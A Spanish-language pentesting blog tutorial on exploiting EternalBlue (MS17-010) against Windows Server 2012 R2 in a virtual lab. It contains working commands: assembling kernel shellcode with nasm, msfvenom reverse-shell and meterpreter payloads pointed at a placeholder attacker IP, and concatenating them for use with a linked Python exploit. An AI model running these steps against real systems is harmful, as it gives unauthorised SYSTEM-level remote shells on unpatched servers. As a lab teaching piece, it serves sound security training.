
Artículo · Pentesting
Explotando Windows 2012 R2 con EternalBlue
En el post anterior (Usando el exploit EternalBlue de la NSA) pudimos ver cómo utilizar diversos módulos de Metasploit para explotar la vulnerabilidad que afecta al servicio SMBv1 en los sistemas operativos Windows 7 y 2008 R2 (x86/x64).
Microsoft Bulletin: MS17-010(Critical)
Common Vulnerabilities and Exposures: CVE-2017-0143
En esta oportunidad vamos a ver como explotar la misma vulnerabilidad en sistemas Windows 2012 R2 (x64).
Nos vamos a basar en el Paper que público Sheila Berta en Exploit-DB.(ESPAÑOL/INGLES)
Este Paper explica el uso de una versión de EternalBlue desarrollada en Python por "Sleepya_"(Worawit Wang).
Para que podamos llevar a cabo la practica de manera sencilla, vamos a necesitar una maquina virtual con Kali 2017.1, y otra con un Windows 2012 R2.
Imagen 1 - Windows 2012 R2 (x64)
La vulnerabilidad puede ser explotada en el caso de que este activo el usuario Guest o bien hayamos recopilado previamente las credenciales de un usuario valido, aunque tenga permisos reducidos nos servirá, ya que una vez explotada la vulnerabilidad, siempre recibiremos una terminal de SYSTEM.
Imagen 2 - Usuario estándar
Imagen 3 - Usuario Guest habilitado
Para comprender cómo está conformado el exploit debemos tener en cuenta estos 3 tipos de archivos y cómo vamos a crearlos:
- Exploit
- Kernel Shellcode
- Userland Shellcode
Imagen 4 - Gráfico de guía
Imagen 5 - Gráfico de guía
Paso 1: Crear Kernel Shellcode
Lo primero que deberemos hacer es ensamblar el Kernel Shellcode que creo Sleepya, podremos copiar el código del siguiente enlace: https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm
El código que acabamos de copiar lo pegamos dentro de un archivo al que nombraremos: kernel_shell_x64.asm
Para ensamblarlo ejecutaremos el comando:
nasm -f bin kernel_shell_x64.asm
Como resultado nos generara un archivo llamado: kernel_shell_x64
Imagen 6 - Creación de kernel_shell_x64
Paso 2: Crear Userland Shellcode (Payload)
El próximo paso es crear un Userland Shellcode (Para simplificarlo, sería crear un archivo binario el cual contendrá nuestro payload), para llevar a cabo esta tarea será necesario utilizar la herramienta msfvenom
Como demostración se creará 2 tipos de payload: una shell reversa vía TCP y una sesión de meterpreter.
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=[IP_ATACANTE] LPORT=4444
Imagen 7 - Payload Shell reversa vía TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=[IP_ATACANTE] LPORT=4444
Imagen 8 - Payload Meterpreter
Una vez que tengamos creados nuestros payloads lo que deberemos hacer es concatenar cada uno con el archivo con el kernel_shell_x64, de esta manera generaremos nuevos binarios, los cuales utilizaremos en la última etapa.
cat kernel_shell_x64 shell_msf.bin > reverse_shell.bin
Imagen 9 - reverse_shell.bin
Imagen 10 - meterpreter.bin
Creamos una carpeta llamada binarios en la cual vamos a copiar los archivos meterpreter.bin y reverse_shell.bin
mkdir binarios
cp reverse_shell.bin meterpreter.bin binarios/
cd binarios/
ls
Imagen 11 - Creación de carpeta binarios y copia de archivos
Paso 3: Crear exploit.py
Crearemos el archivo exploit.py, el código lo podremos conseguir en el github de Sleepya: https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e
Paso 4: Configurar el exploit.py con el usuario correspondiente
Tal como habíamos indicado anteriormente podríamos utilizar el usuario Guest en el caso que este activo o bien, un usuario con permisos estándar.
Imagen 13 - Configuración de exploit.py con usuario Guest
Imagen 14 - Configuración de exploit.py con usuario test
Paso 5: Poner a la escucha un Handler
Imagen 15 - Handler (Payload: windows/x64/shell/reverse_tcp)
Imagen 16 - Handler (Payload: windows/x64/meterpreter/reverse_tcp)
Paso 6: Ejecutar el exploit
En este paso lanzaremos el ataque con el exploit.py y el binario que contendrá el payload de la shell reversa o bien el de la sesión de meterpreter.
El parámetro con valor “500” corresponde al “numGroomConn”. El ajustar la cantidad de conexiones “Groom” ayuda a alcanzar un pool de memoria contigua en el kernel para que la sobreescritura del buffer termine en la ubicación que deseamos y lograr ejecutar la shellcode correctamente.
Imagen 17 - Explotación con el payload reverse_shell.bin
Imagen 18 - Explotación con el payload meterpreter.bin
Paso 7: Resultado
Imagen 19 - Resultado de Payload Shell Reversa
Imagen 20 - Resultado de Payload Meterpreter
Como pueden ver, funciona muy bien esta versión de EternalBlue. Por el momento no hay ningún módulo para Metasploit. De todas maneras no hay que perder de vista los avances de Sheila (@unapibageek), Sean Dillon (@zerosum0x0) / Dylan Davis(@jennamagius) y Sleepya(@sleepya).
Recuerden que si desean conocer mas sobre la explotación pueden ver los informes originales:
- -EXPLOTAR ETERNALBLUE PARA OBTENER UNA SHELL DE METERPRETER EN WINDOWS SERVER 2012 R2
- -GIT-HUB DE SLEEPYA
Hasta la próxima vulnerabilidad :)
¿Quieres aprender estas técnicas en profundidad?
Continúa tu ruta con Penetration Testing Student.

Escrito por
Andres GaleanoConsultor de seguridad informática
Consultor de seguridad informática. Especialista VOIP.



